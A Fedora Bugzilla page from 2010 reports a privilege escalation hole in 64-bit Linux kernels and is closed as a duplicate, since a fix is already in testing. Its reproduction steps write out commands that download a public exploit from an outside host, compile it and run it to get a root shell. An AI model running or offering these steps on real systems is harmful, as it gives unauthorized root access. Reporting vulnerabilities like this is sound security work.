Bug 635675 - Privilege escalation bug in 64-bit linux kernels
Summary: Privilege escalation bug in 64-bit linux kernels
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Status: CLOSED DUPLICATE of bug 635642
Alias: None
Product: Fedora
Classification: Fedora
Component: kernel
Version: 13
Hardware: All
OS: Linux
low
urgent
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Assignee: Kernel Maintainer List
QA Contact: Fedora Extras Quality Assurance
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Blocks:
TreeView+ depends on / blocked
 
Reported: 2010-09-20 13:47 UTC by Zbigniew Fiedorowicz
Modified: 2010-09-20 15:24 UTC (History)
9 users (show)

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Last Closed: 2010-09-20 14:19:05 UTC
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Description Zbigniew Fiedorowicz 2010-09-20 13:47:55 UTC
Description of problem:
See
http://www.h-online.com/security/news/item/Hole-in-Linux-kernel-provides-root-rights-Update-1081317.html


Version-Release number of selected component (if applicable):
All recent 64-bit kernel releases

How reproducible:


Steps to Reproduce:
1. wget http://sota.gen.nz/compat2/robert_you_suck.c
2. gcc -o exploit robert_you_suck.c
3. ./exploit
  
Actual results:
You get a root shell

Expected results:
Should not get root shell

Additional info:

Comment 1 Michael Cronenworth 2010-09-20 14:19:05 UTC

*** This bug has been marked as a duplicate of bug 635642 ***

Comment 2 Chuck Ebbert 2010-09-20 15:24:47 UTC
Again, a report about a security bug that's already fixed:

https://admin.fedoraproject.org/updates/kernel-2.6.34.7-56.fc13

Does anyone look to see what kernels are in testing before reporting?


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